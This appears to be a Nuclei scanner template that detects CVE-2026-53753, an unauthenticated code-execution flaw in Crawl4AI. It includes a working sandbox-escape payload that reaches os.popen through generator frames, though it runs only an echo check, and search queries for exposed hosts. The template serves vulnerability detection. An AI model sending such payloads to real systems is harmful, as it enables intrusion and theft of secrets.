id: CVE-2026-53753 info: name: Crawl4AI <= 0.8.6 - Remote Code Execution author: aryu-ru,q1uf3ng,August829 severity: critical description: | Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container. impact: | An unauthenticated attacker can execute arbitrary operating system commands inside the crawler container, read or tamper with crawled data, steal provider API keys held in the container environment, and pivot into any network the container can reach. remediation: | Upgrade Crawl4AI to version 0.8.7 or later, where computed field expressions are disabled. reference: - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-qxjp-w3pj-48m7 - https://github.com/unclecode/crawl4ai/pull/1855 - https://github.com/unclecode/crawl4ai/pull/1886 - https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-319.yaml - https://nvd.nist.gov/vuln/detail/CVE-2026-53753 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-53753 epss-score: 0.029 epss-percentile: 0.86044 cwe-id: CWE-94 metadata: verified: true max-request: 2 vendor: unclecode product: crawl4ai shodan-query: http.title:"Crawl4AI Playground" fofa-query: title="Crawl4AI Playground" tags: cve,cve2026,crawl4ai,unclecode,rce,sandbox-escape variables: marker: "{{to_lower(rand_base(6))}}" http: - raw: - | POST /crawl HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "urls": [ "raw://

crawl4ai

" ], "crawler_config": { "type": "CrawlerRunConfig", "params": { "extraction_strategy": { "type": "JsonCssExtractionStrategy", "params": { "schema": { "name": "probe", "baseSelector": "div", "fields": [ { "name": "probe", "type": "computed", "expression": "(lambda L: (L.append((L[0].gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('echo {{marker}}$((31337*1337))').read() for q in [1])), list(L[0]))[1])([])" } ] } } } } } } matchers-condition: and matchers: - type: word part: body words: - "{{marker}}41897569" - type: word part: body words: - '"server_processing_time_s"' - '"extracted_content"' condition: and - type: status status: - 200 # digest: 4a0a0047304502204cba925b7e780c0c3637b8935104507bdae58093311df9fd37b82af6ac62cb90022100b46ec848a530b5088333cb0d594a7530dd5ef48d0eadd20641dcc0533977a0ce:922c64590222798bb761d5b6d8e72950